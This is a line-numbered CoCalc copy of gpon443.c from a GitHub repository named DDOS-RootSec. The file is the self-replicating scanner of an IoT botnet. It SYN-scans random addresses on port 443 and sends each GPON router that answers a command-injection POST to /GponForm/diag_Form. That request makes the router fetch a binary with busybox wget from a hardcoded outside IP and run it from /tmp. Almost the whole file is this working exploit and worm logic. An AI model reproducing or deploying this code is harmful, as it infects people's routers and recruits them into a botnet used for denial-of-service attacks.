Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/GPON/gpon443.c
5038 views
1
#ifdef SELFREP
2
#define _GNU_SOURCE
3
#ifdef DEBUG
4
#include <stdio.h>
5
#endif
6
#include <unistd.h>
7
#include <stdlib.h>
8
#include <sys/socket.h>
9
#include <arpa/inet.h>
10
#include <sys/select.h>
11
#include <sys/types.h>
12
#include <time.h>
13
#include <fcntl.h>
14
#include <signal.h>
15
#include <errno.h>
16
#include <string.h>
17
#include <linux/ip.h>
18
#include <linux/tcp.h>
19
20
#include "headers/includes.h"
21
#include "headers/gpon443.h"
22
#include "headers/table.h"
23
#include "headers/rand.h"
24
#include "headers/util.h"
25
#include "headers/checksum.h"
26
27
int gpon443_scanner_pid = 0, gpon443_rsck = 0, gpon443_rsck_out = 0, gpon443_auth_table_len = 0;
28
char gpon443_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
29
struct gpon443_scanner_auth *gpon443_auth_table = NULL;
30
struct gpon443_scanner_connection *conn_table;
31
uint16_t gpon443_gpon443_auth_table_max_weight = 0;
32
uint32_t gpon443_fake_time = 0;
33
int gpon443_ranges[] = {42,212,109,5,118,210,178,94,2,37,79};
34
int gpon443_recv_strip_null(int sock, void *buf, int len, int flags)
35
{
36
int ret = recv(sock, buf, len, flags);
37
38
if(ret > 0)
39
{
40
int i = 0;
41
42
for(i = 0; i < ret; i++)
43
{
44
if(((char *)buf)[i] == 0x00)
45
{
46
((char *)buf)[i] = 'A';
47
}
48
}
49
}
50
51
return ret;
52
}
53
54
void gpon443_scanner(void)
55
{
56
int i = 0;
57
uint16_t source_port;
58
struct iphdr *iph;
59
struct tcphdr *tcph;
60
61
// Let parent continue on main thread
62
gpon443_scanner_pid = fork();
63
if(gpon443_scanner_pid > 0 || gpon443_scanner_pid == -1)
64
return;
65
66
LOCAL_ADDR = util_local_addr();
67
68
rand_init();
69
gpon443_fake_time = time(NULL);
70
conn_table = calloc(GPON443_SCANNER_MAX_CONNS, sizeof(struct gpon443_scanner_connection));
71
for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)
72
{
73
conn_table[i].state = GPON443_SC_CLOSED;
74
conn_table[i].fd = -1;
75
conn_table[i].credential_index = 0;
76
}
77
78
// Set up raw socket scanning and payload
79
if((gpon443_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
80
{
81
#ifdef DEBUG
82
printf("[scanner] failed to initialize raw socket, cannot scan\n");
83
#endif
84
exit(0);
85
}
86
fcntl(gpon443_rsck, F_SETFL, O_NONBLOCK | fcntl(gpon443_rsck, F_GETFL, 0));
87
i = 1;
88
if(setsockopt(gpon443_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
89
{
90
#ifdef DEBUG
91
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
92
#endif
93
close(gpon443_rsck);
94
exit(0);
95
}
96
97
do
98
{
99
source_port = rand_next() & 0xffff;
100
}
101
while(ntohs(source_port) < 1024);
102
103
iph = (struct iphdr *)gpon443_scanner_rawpkt;
104
tcph = (struct tcphdr *)(iph + 1);
105
106
// Set up IPv4 header
107
iph->ihl = 5;
108
iph->version = 4;
109
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
110
iph->id = rand_next();
111
iph->ttl = 64;
112
iph->protocol = IPPROTO_TCP;
113
114
// Set up TCP header
115
tcph->dest = htons(443);
116
tcph->source = source_port;
117
tcph->doff = 5;
118
tcph->window = rand_next() & 0xffff;
119
tcph->syn = TRUE;
120
121
#ifdef DEBUG
122
printf("[scanner] scanner process initialized. scanning started.\n");
123
#endif
124
125
// Main logic loop
126
while(TRUE)
127
{
128
fd_set fdset_rd, fdset_wr;
129
struct gpon443_scanner_connection *conn;
130
struct timeval tim;
131
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
132
133
// Spew out SYN to try and get a response
134
if(gpon443_fake_time != last_spew)
135
{
136
last_spew = gpon443_fake_time;
137
138
for(i = 0; i < GPON443_SCANNER_RAW_PPS; i++)
139
{
140
struct sockaddr_in paddr = {0};
141
struct iphdr *iph = (struct iphdr *)gpon443_scanner_rawpkt;
142
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
143
144
iph->id = rand_next();
145
iph->saddr = LOCAL_ADDR;
146
iph->daddr = get_random_gpon443_ip();
147
iph->check = 0;
148
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
149
150
tcph->dest = htons(443);
151
tcph->seq = iph->daddr;
152
tcph->check = 0;
153
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
154
155
paddr.sin_family = AF_INET;
156
paddr.sin_addr.s_addr = iph->daddr;
157
paddr.sin_port = tcph->dest;
158
159
sendto(gpon443_rsck, gpon443_scanner_rawpkt, sizeof(gpon443_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
160
}
161
}
162
163
// Read packets from raw socket to get SYN+ACKs
164
last_avail_conn = 0;
165
while(TRUE)
166
{
167
int n = 0;
168
char dgram[1514];
169
struct iphdr *iph = (struct iphdr *)dgram;
170
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
171
struct gpon443_scanner_connection *conn;
172
173
errno = 0;
174
n = recvfrom(gpon443_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
175
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
176
break;
177
178
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
179
continue;
180
if(iph->daddr != LOCAL_ADDR)
181
continue;
182
if(iph->protocol != IPPROTO_TCP)
183
continue;
184
if(tcph->source != htons(443))
185
continue;
186
if(tcph->dest != source_port)
187
continue;
188
if(!tcph->syn)
189
continue;
190
if(!tcph->ack)
191
continue;
192
if(tcph->rst)
193
continue;
194
if(tcph->fin)
195
continue;
196
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
197
continue;
198
199
conn = NULL;
200
for(n = last_avail_conn; n < GPON443_SCANNER_MAX_CONNS; n++)
201
{
202
if(conn_table[n].state == GPON443_SC_CLOSED)
203
{
204
conn = &conn_table[n];
205
last_avail_conn = n;
206
break;
207
}
208
}
209
210
// If there were no slots, then no point reading any more
211
if(conn == NULL)
212
break;
213
214
conn->dst_addr = iph->saddr;
215
conn->dst_port = tcph->source;
216
gpon443_setup_connection(conn);
217
}
218
219
FD_ZERO(&fdset_rd);
220
FD_ZERO(&fdset_wr);
221
222
for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)
223
{
224
int timeout = 5;
225
226
conn = &conn_table[i];
227
//timeout = (conn->state > GPON443_SC_CONNECTING ? 30 : 5);
228
229
if(conn->state != GPON443_SC_CLOSED && (gpon443_fake_time - conn->last_recv) > timeout)
230
{
231
#ifdef DEBUG
232
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
233
#endif
234
235
close(conn->fd);
236
conn->fd = -1;
237
conn->state = GPON443_SC_CLOSED;
238
free(conn->credentials);
239
conn->credential_index = 0;
240
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
241
242
continue;
243
}
244
245
if(conn->state == GPON443_SC_CONNECTING || conn->state == GPON443_SC_EXPLOIT_STAGE2 || conn->state == GPON443_SC_EXPLOIT_STAGE3)
246
{
247
FD_SET(conn->fd, &fdset_wr);
248
if(conn->fd > mfd_wr)
249
mfd_wr = conn->fd;
250
}
251
else if(conn->state != GPON443_SC_CLOSED)
252
{
253
FD_SET(conn->fd, &fdset_rd);
254
if(conn->fd > mfd_rd)
255
mfd_rd = conn->fd;
256
}
257
}
258
259
tim.tv_usec = 0;
260
tim.tv_sec = 3;
261
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
262
gpon443_fake_time = time(NULL);
263
264
for(i = 0; i < GPON443_SCANNER_MAX_CONNS; i++)
265
{
266
conn = &conn_table[i];
267
268
if(conn->fd == -1)
269
continue;
270
271
if(FD_ISSET(conn->fd, &fdset_wr))
272
{
273
int err = 0, ret = 0;
274
socklen_t err_len = sizeof(err);
275
276
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
277
if(err == 0 && ret == 0)
278
{
279
280
if(conn->state == GPON443_SC_EXPLOIT_STAGE2)
281
{
282
#ifdef DEBUG
283
printf("[scanner] FD%d request sent to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
284
#endif
285
286
// build stage 2 payload
287
util_strcpy(conn->payload_buf, "POST /GponForm/diag_Form?style/ HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://199.38.245.220/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0");
288
289
// actually send the payload
290
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
291
292
// clear the payload buffer
293
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
294
295
// clear the socket buffer
296
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
297
298
conn->state = GPON443_SC_CLOSED;
299
close(conn->fd);
300
conn->fd = -1;
301
302
continue;
303
}
304
else if(conn->state == GPON443_SC_EXPLOIT_STAGE3)
305
{
306
conn->state = GPON443_SC_CLOSED;
307
308
continue;
309
}
310
else
311
{
312
conn->credentials = malloc(256);
313
conn->state = GPON443_SC_EXPLOIT_STAGE2;
314
}
315
}
316
else
317
{
318
#ifdef DEBUG
319
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
320
#endif
321
322
close(conn->fd);
323
conn->fd = -1;
324
conn->state = GPON443_SC_CLOSED;
325
326
continue;
327
}
328
}
329
330
if(FD_ISSET(conn->fd, &fdset_rd))
331
{
332
while(TRUE)
333
{
334
int ret = 0;
335
336
if(conn->state == GPON443_SC_CLOSED)
337
break;
338
close(conn->fd);
339
340
if(conn->rdbuf_pos == GPON443_SCANNER_RDBUF_SIZE)
341
{
342
memmove(conn->rdbuf, conn->rdbuf + GPON443_SCANNER_HACK_DRAIN, GPON443_SCANNER_RDBUF_SIZE - GPON443_SCANNER_HACK_DRAIN);
343
conn->rdbuf_pos -= GPON443_SCANNER_HACK_DRAIN;
344
}
345
346
errno = 0;
347
ret = gpon443_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, GPON443_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
348
if(ret == 0)
349
{
350
#ifdef DEBUG
351
printf("[scanner] FD%d connection gracefully closed (stage %d)\n", conn->fd, conn->state);
352
#endif
353
errno = ECONNRESET;
354
ret = -1;
355
}
356
if(ret == -1)
357
{
358
if(errno != EAGAIN && errno != EWOULDBLOCK)
359
{
360
if(conn->state == GPON443_SC_EXPLOIT_STAGE2)
361
{
362
#ifdef DEBUG
363
printf("[scanner] FD%d resetting connection preparing to continue with stage 2 of the exploit\n", conn->fd);
364
#endif
365
close(conn->fd);
366
gpon443_setup_connection(conn);
367
continue;
368
}
369
370
close(conn->fd);
371
conn->fd = -1;
372
conn->state = GPON443_SC_CLOSED;
373
free(conn->credentials);
374
conn->credential_index = 0;
375
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
376
}
377
break;
378
}
379
380
conn->rdbuf_pos += ret;
381
conn->last_recv = gpon443_fake_time;
382
383
int len = util_strlen(conn->rdbuf);
384
conn->rdbuf[len] = 0;
385
386
if(conn->state == GPON443_SC_GET_CREDENTIALS)
387
{
388
char *out = strtok(conn->rdbuf, " ");
389
390
while(out != NULL)
391
{
392
if(strstr(out, ""))
393
{
394
#ifdef DEBUG
395
printf("[scanner] FD%d parsing credentials...\n", conn->fd);
396
#endif
397
398
memmove(out, out + 11, strlen(out));
399
400
int i = 0;
401
402
for(i = 0; i < strlen(out); i++)
403
{
404
if(out[i] == ';' || out[i] == '"' || out[i] == ' ')
405
out[i] = 0;
406
}
407
408
conn->credentials[conn->credential_index] = strdup(out);
409
conn->credential_index++;
410
411
}
412
413
out = strtok(NULL, " ");
414
}
415
}
416
417
if(conn->credentials[0] == NULL && conn->credentials[1] == NULL)
418
{
419
#ifdef DEBUG
420
printf("[scanner] FD%d failed to retrieve credentials\n", conn->fd);
421
#endif
422
close(conn->fd);
423
conn->fd = -1;
424
conn->state = GPON443_SC_CLOSED;
425
free(conn->credentials);
426
conn->credential_index = 0;
427
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
428
}
429
else
430
{
431
#ifdef DEBUG
432
printf("[scanner] FD%d retrieved user: %s, pass: %s changing exploit stages\n", conn->fd, conn->credentials[0], conn->credentials[1]);
433
#endif
434
435
close(conn->fd);
436
conn->fd = -1;
437
conn->state = GPON443_SC_EXPLOIT_STAGE2;
438
conn->credential_index = 0;
439
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
440
}
441
}
442
}
443
}
444
}
445
}
446
447
void gpon443_kill(void)
448
{
449
kill(gpon443_scanner_pid, 9);
450
}
451
452
static void gpon443_setup_connection(struct gpon443_scanner_connection *conn)
453
{
454
struct sockaddr_in addr = {0};
455
456
if(conn->fd != -1)
457
close(conn->fd);
458
459
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
460
{
461
#ifdef DEBUG
462
printf("[scanner] failed to call socket()\n");
463
#endif
464
return;
465
}
466
467
conn->rdbuf_pos = 0;
468
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
469
470
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
471
472
addr.sin_family = AF_INET;
473
addr.sin_addr.s_addr = conn->dst_addr;
474
addr.sin_port = conn->dst_port;
475
476
conn->last_recv = gpon443_fake_time;
477
478
if(conn->state == GPON443_SC_EXPLOIT_STAGE2 || conn->state == GPON443_SC_EXPLOIT_STAGE3)
479
{
480
}
481
else
482
{
483
conn->state = GPON443_SC_CONNECTING;
484
}
485
486
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
487
}
488
489
static ipv4_t get_random_gpon443_ip(void)
490
{
491
uint32_t tmp;
492
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
493
494
do
495
{
496
int gpon443_scan = rand() % (sizeof(gpon443_ranges)/sizeof(char *));
497
tmp = rand_next();
498
499
o1 = gpon443_ranges[gpon443_scan];
500
o2 = (tmp >> 8) & 0xff;
501
o3 = (tmp >> 16) & 0xff;
502
o4 = (tmp >> 24) & 0xff;
503
}
504
while(o1 == 127 || o1 == 0);
505
506
return INET_ADDR(o1,o2,o3,o4);
507
}
508
509
#endif
510
511